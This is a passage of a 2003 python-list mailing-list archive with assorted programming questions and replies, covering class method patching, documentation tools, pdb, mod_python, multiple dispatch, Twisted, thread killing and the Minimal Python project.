> Maybe I should point that out to him.  But odds are he's the
> sort that would rather configure things in C than change a config
> file.  :)

vim's C source are openly available, so he can have his wish
in this regard.


Alex




From jacob at cd.chalmers.se  Sun Jan  5 19:14:21 2003
From: jacob at cd.chalmers.se (Jacob Hallen)
Date: 6 Jan 2003 00:14:21 GMT
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <mailman.1041710048.20334.python-list@python.org>
Message-ID: <avahot$1ji$1@nyheter.chalmers.se>

In article <mailman.1041710048.20334.python-list at python.org>,
Cliff Wells  <clifford.wells at attbi.com> wrote:
>"The world is divided into two kinds of people: Those who divide the
>world into two kinds of people, and those who don't."
>    Robert Benchley

The world is divided into three kinds of people. Those who can count and
those who can't.

Jacob Hall?n

-- 



From bdesth at nospam.free.fr  Fri Jan 10 00:41:38 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Fri, 10 Jan 2003 00:41:38 -0500
Subject: Small problem when overloading member functions...
References: <ef7a350b.0301081234.69f16267@posting.google.com> <3E1CF98C.6080204@nospam.free.fr> <3E1CFFCA.30708@nospam.free.fr> <n4hiva.9v3.ln@beastie.ix.netcom.com>
Message-ID: <3E1E5D12.8050206@nospam.free.fr>

Dennis Lee Bieber wrote:
> laotseu fed this fish to the penguins on Wednesday 08 January 2003 
> 08:51 pm:
> 
> 
> 
>>Ok, I got it a few minutes later :
>>
>>class Truc:
>>     def test(self):
>>         print "old test"
>>
>>a = Truc()
>>
>>def test2(self):
>>     print "new test"
>>
>>a.__class__.test = test2
>>a.test()
>> >>>new test
>>
> 
>         Of course, that has just changed the class definition. Did you really 
> want that?

In that case, yes, but I may not have made it clear (it was the answer 
to the last question in my previous post).

(snip code)

Laotseu




From jp at no.more.hosts  Mon Jan 13 02:40:05 2003
From: jp at no.more.hosts (Jacek =?iso-8859-2?Q?Pop=B3awski?=)
Date: Mon, 13 Jan 2003 07:40:05 +0000 (UTC)
Subject: documentation tools, happydoc and dia
Message-ID: <slrnb24rf4.im8.jp@darkwood.somewhere>

I am trying to use HappyDoc to generate UML diagram readable by Dia, but I only
see long error message ending with: 

  File
"/usr/lib/python2.2/site-packages/happydoclib/formatter/fileformatterbase.py",
line 185, in getOutputNameForObject
    name = '%s.%s' % (name,  self.getFilenameExtension())
AttributeError: DiaFormatter instance has no attribute 'getFilenameExtension'

I have HappyDoc 2.1, this version was released about half year ago. I can't
find any long documentation of this project. There are mailing list and forums,
but they are almost empty. I don't even know if "--Dia" option should work in
2.1.

What is reason of that error? How can I fix it?

Do you know any other documentation tools for Python? Except HappyDoc I've
tried only EpyDoc.

-- 
Free Software - find interesting programs and change them
NetHack - meet interesting creatures, kill them and eat their bodies
Usenet - meet interesting people from all over the world and flame them
Decopter - unrealistic helicopter simulator, get it from http://decopter.sf.net



From rganesan at myrealbox.com  Thu Jan 30 05:33:58 2003
From: rganesan at myrealbox.com (Ganesan R)
Date: 30 Jan 2003 16:03:58 +0530
Subject: Sending Novell Message from Python
References: <825b84d0.0301300150.3685bbf2@posting.google.com>
Message-ID: <ousmvb6i5l.fsf@andlx-anamika.cisco.com>

>>>>> "Mak" == Mak  <makwaiming at yahoo.com> writes:

> Hi All,
> In my working environment, I need to do some administration works that
> involves informing a group of person. Currently, I do that by Send
> Message of Netware Services. That works but I would like to integrate
> the send message part with other tasks which currently is performed
> with Python. So, anybody know whether that is possible or not ? If
> yes, how can I do ?

I have no idea if there's a python binding for NetWare but you can launch
a command line program to do it (NET SEND or something like that).

Ganesan

-- 
Ganesan R



From chris at fonnesbeck.org  Thu Jan  2 14:08:06 2003
From: chris at fonnesbeck.org (Christopher Fonnesbeck)
Date: 02 Jan 2003 14:08:06 -0500
Subject: pdb and breakpoints
Message-ID: <877kdnqsix.fsf@fonnesbeck.org>

I am running into a problem using python and the pdb. I set breakpoints in a class within which I have set a trace, but when I hit "c" to continue to the next breakpoint, pdb blows right by them. I have set the breakpoint in a for loop, so that it should stop at the first line (non-commented) in the loop every time. Anyone have an idea of what I may be doing wrong?

Thanks in advance, 
-- 
Christopher J. Fonnesbeck	GA Coop. Fish & Wildlife Research Unit 
chris at fonnesbeck.org		University of Georgia




From ark at gmx.net  Sun Jan 19 06:19:52 2003
From: ark at gmx.net (Arne Koewing)
Date: Sun, 19 Jan 2003 12:19:52 +0100
Subject: Dos calls in Python
References: <3e29a7ba_3@corp.newsgroups.com> <uvg0mkomj.fsf@online.no>
 <3e2a8519_3@corp.newsgroups.com>
Message-ID: <b0e1m1$vbn@news.Informatik.Uni-Oldenburg.DE>

you could try to use Allegro (A game programming library)

http://www.talula.demon.co.uk/allegro/

with this python binding...

http://pyallegro.sourceforge.net/

but i thinks it's early alpha (v 0.1)...

arne



From dave at pythonapocrypha.com  Mon Jan 13 11:24:43 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Mon, 13 Jan 2003 08:24:43 -0800 (PST)
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301122224.1e8557d8@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com>
 <mailman.1041979908.27085.python-list@python.org>
 <52719db8.0301071942.7d23cc46@posting.google.com> <avi2jc$o0n$1@slb2.atl.mindspring.net>
 <52719db8.0301082047.287e00b8@posting.google.com> <avj5lr$4jf$1@slb3.atl.mindspring.net>
 <52719db8.0301092300.2fb666be@posting.google.com> <avndpg$g2sde$1@ID-71831.news.dfncis.de>
 <52719db8.0301122224.1e8557d8@posting.google.com>
Message-ID: <Pine.LNX.4.51.0301130754480.2668@ns0.tbye.com>

On Sun, 12 Jan 2003, James Huang wrote:

> The misconception I had was that at least a portion of people in this
> community are "amphibious" -- Python and Java; if not, then Jython
> would be a strange phenomenon.

Not a misconception (although there is a Jython mailing list too). If
anything, your misconception was about the "why" behind Jython.

> Apparently this is a miserable assumption, because Java seems to be
> beyond just being rejected here.

Well, let's look at a few points from the discussion to date:

- the discussion started as, IMO, a thinly-veiled advertisement
- you haven't used Python enough to really understand its pros/cons, even
though on your website you imply otherwise (by, for example, speaking on
its suitability for various things)
- meanwhile, you have routinely made unsubstatiated assertions about how
wonderful Java is (quote: "Java is unbeatable")
- most of your value proposition has centered on the idea that Judoscript
lets you use Java to solve problems we don't have (because we already have
well-working solutions to those problems)
- many people here have used Java a lot (enough, in fact, to be able to
constrast its strengths and weaknesses) but didn't like it and have
transitioned away from it and are very happy with the decision, so the
idea of doing anything with Java holds little appeal.

Although you surely didn't intend it, the above to me really looks like
flame-bait, so it's kinda neat that the thread stayed mostly tame. I don't
really think that Java is necessarily being "rejected" here, but this _is_
after all a _Python_ newsgroup, so I'm not really sure what sort of
reaction you'd expect from comments like "Java is unbeatable", etc.

Have fun,
Dave




From waltman at pno-trading.com  Fri Jan 17 06:00:20 2003
From: waltman at pno-trading.com (Wim Waltman)
Date: Fri, 17 Jan 2003 12:00:20 +0100
Subject: Convert g3 faxes to ps/pdf
References: <avtael$ofv4@imsp212.netvigator.com>
Message-ID: <3E27E244.2050006@pno-trading.com>

Can this read it ? http://www.pdf995.com/

Wim

Wouter van Marle wrote:
> Hi All!
> 
> I am fiddling a bit with mgetty+sendfax, writing a program in Python as
> front-end.
> 
> These programs send and receive their faxes as g3 format, which is fine for
> that purpose. For viewing and storing I want them as ps or pdf file! (to
> convert between those two is trivial with ps2pdf).
> 
> Any clue on how to convert from g3 to ps? (or where I could ask this
> question)
> I tried fax2ps (from libtiff-progs), doesn't work - complains that it does
> not know the g3 file (is not a tiff file).
> 
> I don't mind to have to use a few steps - e.g. g3 --> tiff --> ps --> pdf.
> 
> Wouter.
> 
> 





From mwh at python.net  Tue Jan 14 08:08:45 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 13:08:45 GMT
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3E137008.3586A4D8@engcorp.com> <v16tkkjj3hahdd@news.supernews.com>
Message-ID: <7h3hecbswsd.fsf@pc150.maths.bris.ac.uk>

"John Roth" <johnroth at ameritech.net> writes:

> That's what I've always heard. In the case of .sort() and .reverse()
> the performance hit (other than for storage allocation) would be
> neglible, but for .append() it involves copying the entire list as
> well as allocating storage.

The Python implementation isn't *that* dumb!

Cheers,
M.

-- 
  Important data should not be entrusted to Pinstripe, as it may
  eat it and make loud belching noises.
   -- from the announcement of the beta of "Pinstripe" aka. Redhat 7.0



From tecargile at hotmail.com  Fri Jan 10 12:12:12 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 10 Jan 2003 09:12:12 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org> <Zd0T9.162$Dq.12687@newsread2.prod.itd.earthlink.net> <87of6r8hne.fsf@gvdnet.dk>
Message-ID: <8b67aef5.0301100912.1f063ff6@posting.google.com>

Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> wrote in message news:<87of6r8hne.fsf at gvdnet.dk>...
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> >>>>> "Terry" == Terry Hancock <hancock at anansispaceworks.com> writes:
> Terry> I think it's "scripting" if it relies heavily on external
> Terry> applications, which you call more or less directly.
> 
> I once saw a pragmatic definition to the effect that it's scripting if
> it's practical to write a one-liner (or equivalent) that'll solve a
> useful ad hoc problem.
> 
> The way most people use the word 'script' seems to indicate that it
> should be a small program that solves a small problem (not to say that
> it's of little value). Contrast this to 'application', which indicates
> larger size.
> 
> It tends to be more difficult to define what a 'scripting language'
> is, and I'm not even sure how much sense that term makes, even though
> I occasionally use the word myself. In my experience, when people talk
> about scripting languages they are thinking of one or both of two
> properties of such languages: 1) that they make writing scripts easy
> than other languages and 2) that they make writing large applications
> more difficult than in other languages.
> 
> These are purely pragmatic 'definitions'. I'm not pretending that
> they're even very clever or useful.
> 
> Martin
> 
> - -- 
> Homepage:       http://www.cs.auc.dk/~factotum/
> GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.6 (GNU/Linux)
> Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>
> 
> iEYEARECAAYFAj4claUACgkQYu1fMmOQldUloACgk6pmx2KRK3ROBj/8iIuPhYK7

My first thoughts are:  Can I 'vi/view/less' it, do I have to
wait for a compile to 'run' it, how fast will it 'run',
where is the source code and how crazy is it, and do I
really want to get involved with this?  Pragmatic hings like that.

I try to use the term 'shell executable' instead of 'shell script'.
Following this, would a '*.py' with a '#!...' as the first line
be a 'python executable'?  Then would a '*.py' script without
the '#!...' and the '*.pyo' files be 'python interpretables'?

Tim



> E8MAn0cB1A6Er+GyCKUFQU6AKMYUYCp5
> =dNyJ
> -----END PGP SIGNATURE-----



From mwh at python.net  Fri Jan 17 06:27:14 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 11:27:14 GMT
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <m3fzrtdoth.fsf@mira.informatik.hu-berlin.de> <b06t8s$auj$1@wheel2.two14.net>
Message-ID: <7h3iswom2xi.fsf@pc150.maths.bris.ac.uk>

maney at pobox.com writes:

> > and the list comprehension a the same time (OTOH, it relies on lists
> > having a __getitem__):
> 
> But I *like* list comprehensions!  <wink>
> 
> Okay, to work with older versions.  Is __getitem__ itself relatively
> recent?

[].__getitem__ is only there in 2.2 and later.

Cheers,
M.


-- 
  I have a cat, so I know that when she digs her very sharp claws into
  my chest or stomach it's really a sign of affection, but I don't see
  any reason for programming languages to show affection with pain.
                                        -- Erik Naggum, comp.lang.lisp



From Mongryong at sympatico.ca  Fri Jan 24 18:12:24 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 24 Jan 2003 18:12:24 -0500
Subject: Life cycle of a mod_python application and scope of global
	variables
In-Reply-To: <se133vsljkjfr89a240uqsm8vtvlbk6csb@4ax.com>
References: <gmv23v0636f5lnod5efh7emoi4uao9275o@4ax.com> 
	<se133vsljkjfr89a240uqsm8vtvlbk6csb@4ax.com>
Message-ID: <1043449944.1523.12.camel@refugeeMedia>

On Fri, 2003-01-24 at 13:30, Kyle Yancey wrote:
> Correction.  The code should have been this.
> 
> #!/usr/bin/env python
> from mod_python import apache
> 
> def handler(req):
>    req.content_type = "text/plain" 
>    req.send_http_header()
>    req.write(i)
>    i = i + 1
>    return apache.OK
> 
Well, the reason why this code doesn't work is because of the line:

i=i+1

'i' needs to be defined before this - you can't use a variable if it
hase already been defined.  I think you're trying to do this:

i = 0
def handler(req):
...
...i = i + 1

Also, it's hard to post to your thread because you're using a fake
email.





From pedronis at bluewin.ch  Fri Jan  3 12:44:36 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Fri, 3 Jan 2003 18:44:36 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org>
Message-ID: <3e15cc46_5@news.bluewin.ch>

> |I think a multi-argument generalization of super (similar also to Cecil
> |resend), would be the most flexible, pythonic solution.
>
> My first feeling on reading Pedroni's suggestion was that I should
> really implement this. But as I reflect on it, I have trouble seeing an
> actual benefit.
>
> It seems to me that when you want to propogate dispatch to a generic
> "less specific" method, you would -always- want to do so either at the
> start or end of the current methods code body.
>
> Now I can easily imaging that a method body would want to call on some
> -specific- function that happened to be one of the multimethods.  But
> AFAICS, it wouldn't be simply "some more general method".  Especially
> given that no more general method might be defined at all, and the call
> would have to be guarded by a try/except in case nothing existed.
>
> E.g.
>
>     def very_general(...): ...
>     def slightly_general(...): ...
>     def pretty_specific(...):
>         ...do stuff
>         val1 = very_general(...)   # this make sense!
>         val2 = next_method(...)    # what will this be??!
>         ...do more stuff...
>
>     multi.add_rule((Thing,), very_general)
>     multi.add_rule((Foo,), slightly_general)
>     multi.add_rule((MyOwnFoo,), pretty_specific)
>
>     multi(myownfoo)
>
> Depending only on which rules are defined, the 'next_method()' in
> 'pretty_specific()' can change its meaning in unpredictable ways.  E.g.
>
>     multi.remove_rule((Foo,))
>
> Changes the whole thing.  Maybe even the type of value returned by the
> 'next_method()' call.  If "more stuff" depends on that value...
>

It really seems that the notion of multiple dispatching fill your mind with
FUD <wink>.
Your line of reasoning could be equally applied to single dispatch:

we don't write thing as:

def Amethod(self,...):
 ...

class A:
   method = Amethod

class B(A):

  def method(self,...):
     ...
    Amethod(self) # it is not in general the same thing as A.method even
less as super(B,self).method
    ...

Btw  Damian Conway support this <wink>, so CLOS, Dylan, Cecil




















From simon.12.ghum at spamgourmet.com  Tue Jan  7 15:31:39 2003
From: simon.12.ghum at spamgourmet.com (Harald)
Date: Tue, 7 Jan 2003 21:31:39 +0100
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com>
Message-ID: <Xns92FCDBB3E682Esimon12ghumspamgourm@62.153.159.134>

I think, these numbers go TO FAR:
>>  ASP          2156        2480     14.90%
>>  Java         2664        1862     14.55%
>>  Python       55          32       0.28%

Yes, I know, Python is much more productive then ASP or Java.

But 48 times (2664:55) more efficient then Java or even 77 times (2480:32) 
more productive then ASP ... ASP can't be that bad.




From guido at python.org  Fri Jan 10 11:11:24 2003
From: guido at python.org (Guido van Rossum)
Date: Fri, 10 Jan 2003 11:11:24 -0500
Subject: [Python-Dev] [ann] Minimal Python project
In-Reply-To: Your message of "Fri, 10 Jan 2003 15:41:21 +0100."
             <20030110154121.F1568@prim.han.de> 
References: <20030110154121.F1568@prim.han.de> 
Message-ID: <200301101611.h0AGBOd12601@odiug.zope.com>

Way cool.

Would anybody be available to present some of these ideas and early
results at PyCon?

--Guido van Rossum (home page: http://www.python.org/~guido/)




From jlh at cox.net  Tue Jan 28 16:13:09 2003
From: jlh at cox.net (Jeff Hinrichs)
Date: Tue, 28 Jan 2003 21:13:09 GMT
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com>
Message-ID: <FnCZ9.63502$1b.17550@news1.central.cox.net>

twisted.
http://www.twistedmatrix.com/

I use it to build portable, lightweight, browser based apps.  Good success,
decent example code. More robust, IMO, than CGIHTTPserver.

example of killing the server from the browser:
#
# stop.rpy - kill a twisted web server
# $Id: stop.rpy 30 2003-01-04 05:58:27Z JeffH $
#
from twisted.web import resource
from twisted.internet import reactor
class myResource(resource.Resource):
    def render(self, request):
        reactor.stop()
        return ""

resource = myResource()

have fun!
-Jeff

"Eric Mattes" <ericmattes at yahoo.com> wrote in message
news:fd5aa35c.0301280922.a952dc7 at posting.google.com...
> Hi.
>
> I'd like to know if anyone knows a way to write a python program that
> can be interfaced with through a web browser. I've been investigating
> some GUIs and although I've written a prototype GUI in Tkinter, it
> lacks personality. I'd like to make a nice GUI using HTML. Has anyone
> done anything like this before? If so, how? Would it involve
> embedding/using BaseHTTPServer? Ideally this would run on both Windows
> and Mac OS.
>
> Any ideas? Thanks!
> -E





From buzzard at urubu.freeserve.co.uk  Thu Jan 16 12:39:34 2003
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Thu, 16 Jan 2003 17:39:34 -0000
Subject: Python / graphviz
Message-ID: <b06qqc$ggi$1@news8.svr.pol.co.uk>

Hello,
        Has anyone out there managed to build the python interface to
graphviz on Windows?  I have the SWIG specification file (gv.i) and
__init__.py from http://www.cs.brown.edu/~er/software/.  But I am having a
complete nightmare trying to build the extension.  I am using Windows2000
and have lcc, gcc, Microsoft Visual Studio 6.0 and Microsoft Visual
Studio.NET, and SWIG-1.3.17.  I have installed graphviz-1.8.10 (Wise
Installation package) and I've downloaded the sources.  I've tried
everything I can think of (including reading the documentation).  But my
lack of knowledge regarding the various compiler options / building Python
extensions etc. has got the better of me.  Trying to rehash the Python
examples in SWIG hasn't worked.  It's been several hours now, so if anyone
can offer any advice I'd be very grateful.  Thanks.

Duncan





From vanevery at 3DProgrammer.com  Sun Jan 26 15:34:46 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Sun, 26 Jan 2003 20:34:46 GMT
Subject: skinnable, portable widgets?
References: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net> <mailman.1043578364.23359.python-list@python.org>
Message-ID: <GDXY9.4753$d66.428988@newsread1.prod.itd.earthlink.net>

Jack Diederich wrote:
> On Sun, Jan 26, 2003 at 10:26:59AM +0000, Brandon Van Every wrote:
>>
>> The primary application is for games.  I must be able to control the
>> look and feel of the widgets, so skinnability is a hard requirement.
>> Any recommendations?
>
> Yes, learn to deplore skins.

Ok, it is said that repetition is the key to all learning, so let's try
again.  Maybe you'll see a hole in my thinking, or maybe you'll realize
something about your own.

The primary application is for *commercial* games.  Every AAA quality title
out there invents their own look-and-feel because the visual artistry of the
game is fundamental to the gaming experience.  With the possible exception
of office timewasters like "Minesweeper," it is not acceptable to use
anything vaguely resembling an office application.  Generally speaking,
these in-house looks-and-feels come at the cost of reinventing the GUI
wheel.  The other possibility is to avoid the need for GUI widgets in the
game design itself, but that's not an approach you can take with all games.

Skinnability is an exceedingly valuable feature for this case use.
Skinnability and portability is, well, just a fantastic concept.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From BPettersen at NAREX.com  Thu Jan  2 10:40:18 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Thu, 2 Jan 2003 08:40:18 -0700
Subject: trying to run boa: problem with stc.py / stc_.py / stc_c.py
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDDFA@admin56.narex.com>

> From: Stefan A. [mailto:sasoft at gmx.de] 
[...]
> Traceback (most recent call last):
> File "Boa.py", line 184, in ?
> import Preferences, About, Utils
> File "Preferences.py", line 110, in ?
> execfile(file)
> File "/home/cruciatuz/.boa/prefs.rc.py", line 315, in ?
> from wxPython.stc import wxSTC_WS_INVISIBLE, 
> wxSTC_WS_VISIBLEALWAYS, wxSTC_WS_VISIBLEAFTERINDENT File 
> "/usr/local/lib/python2.3/site-packages/wxPython/stc.py",
> line 7, in ?
> from stc_ import *
> File
> "/usr/local/lib/python2.3/site-packages/wxPython/stc_.py",
> line 2, in ?
> import stc_c
> ImportError: No module named stc_c
> 
> ### EOF ###
> 
> I am not able to find out what stc_c is. I know about stc_.py 
> and stc.py (the stc.py is just a wrapper for stc_.py, but in 
> stc_.py is this stc_c is called, but i can't find it 
> anywhere). I played with commenting out things in my 
> prefs.rc.py and i renamed things in the stc* 's, but i just 
> can't find out what's wrong(?)

Little bit of a shot in the dark, but I'm guessing stc_c is a shared
library containing a python extension and that you need to rebuild that
extension to make it work with Python 2.3a...

-- bjorn




From peter at engcorp.com  Fri Jan 24 17:39:43 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 17:39:43 -0500
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com> <7xd6mme5dn.fsf@ruckus.brouhaha.com> <mailman.1043435527.21427.python-list@python.org> <7xel72qp8v.fsf@ruckus.brouhaha.com> <3E31BC48.5222547F@engcorp.com> <7x65sew563.fsf@ruckus.brouhaha.com>
Message-ID: <3E31C0AF.75039995@engcorp.com>

Paul Rubin wrote:
> 
> There's an entry in Python's bug tracking system on Sourceforge about
> supporting asynchronous exceptions in multi-threaded programs, showing
> the developers consider it something worth looking for ways to
> implement, rather than something that can't be done or something that
> shouldn't be done for portability reasons.
> 
> Since the new "minimal Python" is supposed to be stackless (all
> activation records are in the heap), maybe that implementation can
> more gracefully deal with the problem of killing a thread failing to
> unwind the C stack.

That would be a nice thought.  I doubt it would cleanly be able
to handle C extensions reliably though, but maybe ignoring some of
the limit cases would be acceptable for the value it provides in
the more common situations.

-Peter



From pyth at devel.trillke.net  Wed Jan  8 14:17:05 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 20:17:05 +0100
Subject: a strange question in it.comp.lang...
In-Reply-To: <avhrot$sbh$1@lacerta.tiscalinet.it>; from 6e6op@excite.it on Wed, Jan 08, 2003 at 07:19:58PM +0100
References: <avhrot$sbh$1@lacerta.tiscalinet.it>
Message-ID: <20030108201705.F349@prim.han.de>

6e6op wrote:
> this is (more or less) the translation
> 
> From: "Matteo Bertini" <m.bertini at tin.it>
> Newsgroups: it.comp.lang
> Sent: Sunday, January 05, 2003 11:26 PM
> Subject: [PYTHON] estendere tipi di base
> 
> 
> > I can build a class in this way:
> >
> > class mystring(str):
> >      def is_email(self):
> >          return self.find("@")
> >
> > use it in:
> >
> > mystring("pippo at pippo.it").is_email()
> >
> > the answer is, can i define mystring to be the default string class?
> > can i ''validate''  "pippo".is_email() ?
> > maybe is not goot, but is only curiosity.
> >
> > thanks,
> > Matteo
> 
> ok, then one answer jump in my brain:
> there's a "place" where the interpreter load the __builtins__  package?
> obviously __builtins__.str cannot be substitute with a customized one after
> the __builtins__ load ,
> but before load?

This wouldn't help (and you probably mean __builtin__, btw.). 

The construction of a string object doesn't involve a lookup
of the builtin namespace.  'str' is just a convenient (builtin) 
way to get to the string type.  

> if the interpreter load __builtins__ in some place i can translate
> __builtins__.str
> with a __builtins__.mystr before that interpreter load __builtins__
> 
> is it possible?

no. 

cheers,

    holger




From hancock at anansispaceworks.com  Mon Jan  6 19:50:15 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Mon, 6 Jan 2003 16:50:15 -0800
Subject: Port Python to PS2
In-Reply-To: <20030104174402.19570.97290.Mailman@mail.python.org>
References: <20030104174402.19570.97290.Mailman@mail.python.org>
Message-ID: <E18VhxY-0007ko-00@harrier.mail.pas.earthlink.net>

On Saturday 04 January 2003 09:44 am,   corey wrote:
> EpSyLOn <sasDOTepsylon at wanadoo.fr> wrote in message 
news:<qm8d1v8oa5kmfb15m7sj1v3g7v5cvvvrfl at 4ax.com>...
> >?
http://www.python.org/download/download_other.html
> >?"Python for PlayStation
> >?
> >?Erwin Coumans has completed a port of Python to the Sony PlayStation
> >?2. Send him email for more info."
> >?His email: erwin at blender.nl
> >?-- ? ? ? ? ? ? ? ? ? ? ? ? ? ? ___
> 
> I've to e-mail him. But that address is no longer valid (I think since
> blender went under)

Speaking of the PS2 Linux port, is there anyone working on an unencumbered 
replacement for the proprietary Sony disk that it relies on?  I'd like to 
port some functionality to the PS2, but you have to agree to some rather 
restrictive things (like not to distribute your code on CD) to use their 
software.  This means that if you develop on the PS2 Linux kit, the only 
people who can use your result are other people who have the kit, as I 
understand it.  I find this greatly reduces the attractiveness of it, since I 
was kind of hoping to do something subversive like make Free educational 
software that would run on a consumer Playstation 2 (which is much cheaper 
and widely available than a low-end PC). 

I notice there's a Gnu Game Boy replacement project, although I've not yet 
found out how to actually make a cartridge from the data.

Is there a general resource on Linux/Open-Source platforms for computer 
gaming?

--
Terry Hancock ( hancock at anansispaceworks.com )
Anansi Spaceworks  http://www.anansispaceworks.com

"Some things are too important to be taken seriously"





From clspence at one.net  Thu Jan 16 14:52:34 2003
From: clspence at one.net (Chris Spencer)
Date: 16 Jan 2003 13:52:34 -0600
Subject: Interesting problem comparing strings with integer values...post-mortem
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <3E26BD10.9010200@wi.mit.edu>
Message-ID: <ks2e2vouro33k9m1rih3efdht0n1a50o21@4ax.com>

	I appreciate all of the help on this topic that I have been given.  I
agree with some posters that I did not state every single one of my constraints,
so people had a hard time answering the question.
	I do appreciate all of the help and all of the well-reasoned responses I
got.  And I posted my eventual solution to this newsgroup, so I hope that I've
given back to the community in some way.

Chris.




From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 22:37:32 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 19:37:32 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042425503.8879.python-list@python.org>
Message-ID: <7xof6l2003.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.com> writes:
> You know what my goals are.
> Smaller, more flexible, faster, easier to change,
> easier to maintain, easier to keep backwards
> compatible, more portable due to less C code,
> down-sizeable by features (which is most difficult),
> the full catastrophe...

Well ok, it wasn't clear before what the entire set of goals were.

> We will try to implement Python as exact and clean
> as possible. The langage should be implemented
> completely.

Are you going to try to keep the C API backwards compatible?

Are you going to include exact implementations of currently
not-really-documented features such as metaclasses?

Will stuff like frame objects still work as documented?  Do you expect
to be able to run the current version of pdb.py without changes?

I don't think you should necessarily hold yourself to any of the
above, but that's just me.

> It will be a major amount of work to deduce the
> dependencies of features, and how to arrange them
> in a scalable shape. I do believe that the core
> group will help us with that.

I'm pretty excited by the project.  I think you're going to push the
limits of the Python language harder than they've ever been pushed
against before.  And you'll be in a unique position to actually remove
the limits when you hit them, rather than having to work around them.
I hope you'll trust yourself to use such opportunities when it's right
to do so.



From sjmachin at lexicon.net  Mon Jan 13 05:06:08 2003
From: sjmachin at lexicon.net (John Machin)
Date: 13 Jan 2003 02:06:08 -0800
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <mailman.1042403841.24976.python-list@python.org> <7x8yxqxeav.fsf@ruckus.brouhaha.com>
Message-ID: <c76ff6fc.0301130206.ca90ba2@posting.google.com>

Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote in message news:<7x8yxqxeav.fsf at ruckus.brouhaha.com>...
> Tim Peters <tim.one at comcast.net> writes:
> > > It seems like usually POP_TOP is the next byte code on either branch.
> > > Or is there a difficult case where the value is needed on the stack?
> > > It seems like the 99% case is getting the overhead (and also making the
> > > polling interval counter count unnecessary codes).

... and those pesky POP_TOPs get in the way of some useful
optimisations.

> > 
> > I've been asking that for years <wink>.  The only reak answer is "it seemed
> > like a good idea at the time".  Chained comparisons exploit it, but offhand
> > I don't recall anything else.
> 
> Seems simple enough to add a new code that combines the two? That
> would avoid breaking old compiled code.

Could add more than one; below is the inventory of conditional jump
opcodes from a you've-never-heard-of-it language. All of the opcodes
pop the stack first and jump depending on the popped value.

For simple conditions: JF i.e. jump_if_false

For short-circuit AND (and Python's chained comparisons): JFF i.e.
if_false_push_false_then_jump

For short-circuit OR: JTT i.e. if_true_push_true_then_jump

Also to allow for post-code-generation optimisations where there there
was a NOT involved, the inverses (JT, JTF, and JFT) were implemented.



From martin at v.loewis.de  Fri Jan  3 19:43:07 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 04 Jan 2003 01:43:07 +0100
Subject: Leakage vs Cyclops
